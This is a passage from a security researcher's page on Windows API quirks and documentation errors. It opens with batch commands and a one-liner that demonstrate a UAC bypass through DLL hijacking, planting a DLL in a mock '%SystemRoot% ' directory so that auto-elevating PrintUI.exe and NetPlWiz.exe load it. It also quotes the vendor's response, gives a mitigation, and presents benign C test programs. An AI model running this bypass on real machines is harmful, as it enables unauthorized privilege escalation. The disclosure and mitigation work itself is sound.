TITLE Step 11: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) NetPlWiz.dll
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll"
"%SystemRoot% \NetPlWiz.exe"
System32\CertUtil.exe /ERROR %ERRORLEVEL%
TITLE Step 12: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads an arbitrary (unsigned) PrintUI.dll
COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
"%SystemRoot% \PrintUI.exe"
ECHO %ERRORLEVEL%
System32\Net.exe HELPMSG %ERRORLEVEL%
TITLE Step 13: clean up and exit
RMDIR /Q /S "%SystemRoot% "
EXIT /B
The KTMUTIL utility requires that you have administrative privileges. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 1 file(s) copied. 0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511) Error message text: {Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs. CertUtil: -error command completed successfully. 1 file(s) copied. 1114 A dynamic link library (DLL) initialization routine failed.
REM Copyright © 2014-2024, Stefan Kanthak <stefan.kanthak@nexgo.de> FOR %? IN ("%SystemRoot% " "%SystemRoot% ." "%SystemRoot% . " "%SystemRoot%. " "%SystemRoot% . " "%SystemRoot%. " "%SystemRoot% . " "%SystemRoot%. ") DO ( MKDIR "%~?\" && ( COPY "%SystemRoot%\System32\PrintUI.exe" "%~?\PrintUI.exe" && ( START "OUCH!" /WAIT /B "%~?\PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL! COPY "%SystemRoot%\System32\ShUnimpl.dll" "%~?\PrintUI.dll" && ( START "OUCH!" /WAIT /B "%~?\PrintUI.exe" "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!)) RMDIR /Q /S "%~?\"))
NT AUTHORITY\Authenticated Users
or
BUILTIN\Users
groups) to create
subdirectories in the root directory of the system drive:
ICACLs.exe "%SystemDrive%\\" /Deny *S-1-5-32-545:(AD,WD) /Remove:d *S-1-5-32-545 /Remove:g *S-1-5-11Note: the 2 backslashes are necessary due to their special handling in front of a quotation mark.
They replied with the following statements:
Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.Ouch¹: the exploit works without administrator privileges![…]
Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.
I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.
Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!
Ouch³: even if Jane and Joe Average create
and use a secondary (unprivileged) standard user
account they might very likely be fooled by the
blue
UAC prompt that
shows Verified Publisher: Microsoft Windows
.
Note:
UAC (and
SAFER
alias
Software Restriction Policies
too) is the victim here; the vulnerability results from bugs in the
Win32 functions
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
coupled with insecure loading of
DLLs!
GetOpenClipboardWindow()
,
GetWindow()
and
GetWindowModuleFileName()
are documented in the
MSDN as
follows:
Retrieves the handle to the window that currently has the clipboard open.[…]HWND GetOpenClipboardWindow();
If the function succeeds, the return value is the handle to the window that has the clipboard open. If no window has the clipboard open, the return value is NULL. To get extended error information, call GetLastError.
Retrieves a handle to a window that has the specified relationship (Z-Order or owner) to the specified window.HWND GetWindow( HWND hWnd, UINT uCmd );
[…]
Value Meaning … … GW_ENABLEDPOPUP
6The retrieved handle identifies the enabled popup window owned by the specified window (the search uses the first such window found using GW_HWNDNEXT); otherwise, if there are no enabled popup windows, the retrieved handle is that of the specified window. […]
If the function succeeds, the return value is a window handle. If no window exists with the specified relationship to the specified window, the return value is NULL. To get extended error information, call GetLastError.
Retrieves the full path and file name of the module associated with the specified window handle.Note: the last documentation fails to specify what[…]UINT GetWindowModuleFileName( HWND hwnd, LPTSTR pszFileName, UINT cchFileNameMax );
The return value is the total number of characters copied into the buffer.
associated modulemeans as well as error conditions and restrictions! 228469
Create the text file quirk14.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwError = ERROR_SUCCESS;
HWND hWindow = HWND_DESKTOP;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
SetLastError(123456789);
hWindow = GetActiveWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetActiveWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetConsoleWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetConsoleWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError(123456789);
hWindow = GetDesktopWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetDesktopWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetForegroundWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetForegroundWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError(123456789);
hWindow = GetOpenClipboardWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetOpenClipboardWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetShellWindow();
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetShellWindow() returned NULL\n");
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
hWindow = GetTopWindow(HWND_DESKTOP);
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetTopWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
SetLastError(123456789);
hWindow = GetWindow(hWindow, GW_ENABLEDPOPUP);
if (hWindow == NULL)
PrintConsole(hConsole,
L"GetWindow() returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetWindowModuleFileName(hWindow,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
}
dwBuffer = GetWindowModuleFileName(hWindow = HWND_BOTTOM,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOP,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_TOPMOST,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
dwBuffer = GetWindowModuleFileName(hWindow = HWND_NOTOPMOST,
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned error %lu\n",
hWindow, dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetWindowModuleFileName(0x%p, …) returned pathname \'%ls\' of %lu characters\n",
hWindow, szBuffer, dwBuffer);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk14.exe
from the
source file quirk14.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk14.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk14.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk14.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk14.exe quirk14.obj kernel32.lib user32.lib
Execute the console application quirk14.exe
built in
step 2. to demonstrate the inconsistent (mis)behaviour:
.\quirk14.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
GetWindowModuleFileName(0x00000000, …) returned error 1400 GetWindow() returned error 1400 GetActiveWindow() returned NULL GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters GetWindowModuleFileName(0x00010010, …) returned error 123456789 GetWindowModuleFileName(0x0025021C, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters GetOpenClipboardWindow() returned error 123456789 GetWindowModuleFileName(0x00020104, …) returned error 123456789 GetWindowModuleFileName(0x035D0EA0, …) returned pathname 'C:\Users\Stefan\Desktop\quirk14.exe' of 35 characters GetWindow() returned error 123456789 GetWindowModuleFileName(0x00000001, …) returned error 1400 GetWindowModuleFileName(0x00000000, …) returned error 1400 GetWindowModuleFileName(0xFFFFFFFF, …) returned error 1400 GetWindowModuleFileName(0xFFFFFFFE, …) returned error 1400 0x578 (WIN32: 1400 ERROR_INVALID_WINDOW_HANDLE) -- 1400 (1400) Error message text: Invalid window handle. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
GetWindow()
does not support the pseudo handle
HWND_DESKTOP
alias NULL
, but returns
NULL
with Win32 error code 1400 alias
ERROR_INVALID_WINDOW_HANDLE
set!
OUCH²: it does not return
the handle of the specified window if this does not own an enabled
popup window, but NULL
and fails to set the
Win32 error code!
OUCH³: it returns NULL
but fails
to set the Win32 error code if no window with the
specified relationship exists!
Note: the Win32 function
GetWindowModuleFileName()
returns 0 and does not modify the buffer in case of
failure!
OUCH⁴: it returns the path name of the calling console application although this did not create the window!
OUCH⁵: it returns 0 but fails to set the Win32 error code if the window was created in another process, except for the console window!
OUCH⁶: it does not support
the pseudo handles
HWND_BOTTOM
,
HWND_TOP
alias HWND_DESKTOP
,
HWND_TOPMOST
and
HWND_NOTOPMOST
,
but returns 0 with Win32 error code 1400 alias
ERROR_INVALID_WINDOW_HANDLE
set!
OUCH⁷: the Win32 function
GetOpenClipboardWindow()
returns NULL
but fails to set the Win32
error if the clipboard is not opened by a window!
GetDefaultPrinter()
,
GetPrinterDriverDirectory()
and
GetPrintProcessorDirectory()
are documented in the
MSDN as
follows:
The GetDefaultPrinter function retrieves the printer name of the default printer for the current user on the local computer.Oops: the documentation does not state explicitly that extended error information is available through a call of the[…]BOOL GetDefaultPrinter( LPTSTR pszBuffer, LPDWORD pcchBuffer );
[…]
- pszBuffer
- A pointer to a buffer that receives a null-terminated character string containing the default printer name. If this parameter is NULL, the function fails and the variable pointed to by pcchBuffer returns the required buffer size, in characters.
If the function succeeds, the return value is a nonzero value and the variable pointed to by pcchBuffer contains the number of characters copied to the pszBuffer buffer, including the terminating null character.
If the function fails, the return value is zero.
Value Meaning ERROR_INSUFFICIENT_BUFFER The pszBuffer buffer is too small. The variable pointed to by pcchBuffer contains the required buffer size, in characters. ERROR_FILE_NOT_FOUND There is no default printer.
GetLastError()
function!
The GetPrinterDriverDirectory function retrieves the path of the printer-driver directory.Ouch: although the Win32 function[…]BOOL GetPrinterDriverDirectory( LPTSTR pName, LPTSTR pEnvironment, DWORD Level, LPBYTE pDriverDirectory, DWORD cbBuf, LPDWORD pcbNeeded );
[…]
- pEnvironment
- A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
- pcbNeeded
- A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
If the function succeeds, the return value is a nonzero value.
If the function fails, the return value is zero.
[…]
Requirement Value … … Unicode and ANSI names GetPrinterDriverDirectoryW (Unicode) and GetPrinterDriverDirectoryA (ANSI)
GetPrinterDriverDirectory()
is provided for
Unicode
and
ANSI,
its output buffer is declared as array of bytes instead array of
characters, and the size is counted in bytes instead of characters!
The GetPrintProcessorDirectory function retrieves the path to the print processor directory on the specified server.Ouch: although the Win32 function[…]BOOL GetPrintProcessorDirectory( LPTSTR pName, LPTSTR pEnvironment, DWORD Level, LPBYTE pPrintProcessorInfo, DWORD cbBuf, LPDWORD pcbNeeded );
[…]
- pEnvironment
- A pointer to a null-terminated string that specifies the environment (for example, Windows x86, Windows IA64, or Windows x64). If this parameter is NULL, the current environment of the calling application and client machine (not of the destination application and print server) is used.
- pcbNeeded
- A pointer to a value that specifies the number of bytes copied if the function succeeds, or the number of bytes required if cbBuf is too small.
If the function succeeds, the return value is a nonzero value.
If the function fails, the return value is zero.
[…]
Requirement Value … … Unicode and ANSI names GetPrintProcessorDirectoryW (Unicode) and GetPrintProcessorDirectoryA (ANSI)
GetPrintProcessorDirectory()
is provided for
Unicode
and
ANSI,
its output buffer is declared as array of bytes instead array of
characters, and the size is counted in bytes instead of characters!
Create the text file quirk15.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winspool.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR lpEnvironment[] = {L"",
L"Windows 4.0",
L"Windows NT x86",
L"Windows IA64",
L"Windows x64",
L"Windows x86"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer = sizeof(szBuffer) / sizeof(*szBuffer);
DWORD dwEnvironment = 0;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!GetDefaultPrinter(szBuffer, &dwBuffer))
PrintConsole(hConsole,
L"GetDefaultPrinter() returned error %lu (%lu)\n",
dwError = GetLastError(), dwBuffer);
else
PrintConsole(hConsole,
L"GetDefaultPrinter() returned name \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
if (!GetPrinterDriverDirectory((LPWSTR) NULL,
(LPWSTR) NULL,
1,
szBuffer,
0,
&dwBuffer))
PrintConsole(hConsole,
L"GetPrinterDriverDirectory() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes\n",
szBuffer, dwBuffer);
do
if (!GetPrinterDriverDirectory((LPWSTR) NULL,
lpEnvironment[dw],
1,
szBuffer,
sizeof(szBuffer),
&dwBuffer))
PrintConsole(hConsole,
L"GetPrinterDriverDirectory() returned error %lu for environment \'%ls\'\n",
dwError = GetLastError(), lpEnvironment[dw]);
else
PrintConsole(hConsole,
L"GetPrinterDriverDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
szBuffer, dwBuffer, lpEnvironment[dw]);
while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
if (!GetPrintProcessorDirectory((LPWSTR) NULL,
(LPWSTR) NULL,
1,
NULL,
sizeof(szBuffer),
&dwBuffer))
PrintConsole(hConsole,
L"GetPrintProcessorDirectory() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes\n",
szBuffer, dwBuffer);
dwEnvironment = 0;
do
if (!GetPrintProcessorDirectory((LPWSTR) NULL,
lpEnvironment[dw],
1,
szBuffer,
sizeof(szBuffer),
&dwBuffer))
PrintConsole(hConsole,
L"GetPrintProcessorDirectory() returned error %lu for environment \'%ls\'\n",
dwError = GetLastError(), lpEnvironment[dw]);
else
PrintConsole(hConsole,
L"GetPrintProcessorDirectory() returned pathname \'%ls\' of %lu bytes for environment \'%ls\'\n",
szBuffer, dwBuffer, lpEnvironment[dw]);
while (++dwEnvironment < sizeof(lpEnvironment) / sizeof(*lpEnvironment));
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk15.exe
from the
source file quirk15.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk15.c kernel32.lib user32.lib winspool.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk15.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk15.c quirk15.c(60) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' quirk15.c(75) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' quirk15.c(104) : warning C4133: 'function' : incompatible types - from 'WCHAR [260]' to 'LPBYTE' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk15.exe quirk15.obj kernel32.lib user32.lib winspool.lib
Execute the console application quirk15.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk15.exe NET.EXE HELPMSG %ERRORLEVEL%
GetDefaultPrinter() returned name 'Microsoft XPS Document Writer' of 30 characters GetPrinterDriverDirectory() returned error 122 GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment '' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\WIN40' of 80 bytes for environment 'Windows 4.0' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\W32X86' of 82 bytes for environment 'Windows NT x86' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\IA64' of 78 bytes for environment 'Windows IA64' GetPrinterDriverDirectory() returned pathname 'C:\Windows\system32\spool\DRIVERS\x64' of 76 bytes for environment 'Windows x64' GetPrinterDriverDirectory() returned error 1805 for environment 'Windows x86' GetPrintProcessorDirectory() returned error 1784 GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment '' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\WIN40' of 82 bytes for environment 'Windows 4.0' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\W32X86' of 84 bytes for environment 'Windows NT x86' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\IA64' of 80 bytes for environment 'Windows IA64' GetPrintProcessorDirectory() returned pathname 'C:\Windows\system32\spool\PRTPROCS\x64' of 78 bytes for environment 'Windows x64' GetPrintProcessorDirectory() returned error 1805 for environment 'Windows x86' The environment specified is invalid.Oops: contrary to their documentation cited above, the Win32 functions
GetPrinterDriverDirectory()
and
GetPrintProcessorDirectory()
return extended error information, for example the
Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
,
1784 alias
ERROR_INVALID_USER_BUFFER
or 1805 alias
ERROR_INVALID_ENVIRONMENT
.
Ouch: the environment Windows x86
specified in the documentation is invalid!
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.Note: no document denotes different access rights for deletion of directories than for deletion of files, which both are filesystem objects and children of a parent filesystem object, i.e. deletion should be governed byA discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]
FILE_DELETE_CHILD
of the parent (too)!
The TechNet article How Permissions Work specifies:
Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.The MSDN article File Security and Access Rights but contradicts:Permissions for Files and Folders
Permission Description … … Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.) Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder. […]
You should also be aware of the following:
Groups or users that are granted Full Control on a folder can delete any files in that folder, regardless of the permissions protecting the file.
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.The MSDN articles SACL Access Right and Requesting Access Rights to an Object specify:[…]
By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.
Contrary to the last two (highlighted) statements, the documentation as well as the synopsis of Windows’Note
The MAXIMUM_ALLOWED constant cannot be used in an ACE.
Icacls
command line program but state:
Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.Oops: the parameter[…]
[…]icacls ‹FileName› [/grant[:r] ‹Sid›:‹Perm›[…]] [/deny ‹Sid›:‹Perm›[…]] [/remove[:g|:d]] ‹Sid›[…]] [/t] [/c] [/l] [/q] [/setintegritylevel ‹Level›:‹Policy›[…]]
Perm is a permission mask that can be specified in one of the following forms:
A sequence of simple rights:
[…]
A comma-separated list in parenthesis of specific rights:
D (delete)
RC (read control)
WDAC (write DAC)
WO (write owner)
S (synchronize)
AS (access system security)
MA (maximum allowed)
[…]
RD (read data/list directory)
WD (write data/add file)
AD (append data/add subdirectory)
[…]
DC (delete child)
/Inheritance:{E|D|R}
is undocumented!
Command-Line Reference
REM Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de> CHDIR /D "%TMP%" COPY NUL: Quirk16f.tmp ECHO Step 1: remove all inherited access permissions from file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Inheritance:R CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 2: (attempt to) add inheritable access permissions to file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Grant *S-1-3-3:(CI)(D) /Grant *S-1-3-2:(OI)(S) /Grant *S-1-3-1:(CI)(IO)(RC) /Grant *S-1-3-0:(OI)(IO)(WDAC) CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 3: add access permissions to file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Deny *S-1-3-4:(AS) /Grant *S-1-3-4:(MA) /Grant *S-1-3-3:(D) /Grant *S-1-3-2:(RC) /Grant *S-1-3-1:(S) /Grant *S-1-3-0:(WDAC) CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 4: remove access permissions from file 'Quirk16f.tmp' ICACLS.EXE Quirk16f.tmp /Remove:g "%USERNAME%" /Remove:g None CACLS.EXE Quirk16f.tmp /S ICACLS.EXE Quirk16f.tmp ECHO Step 5: delete file 'Quirk16f.tmp' ERASE Quirk16f.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
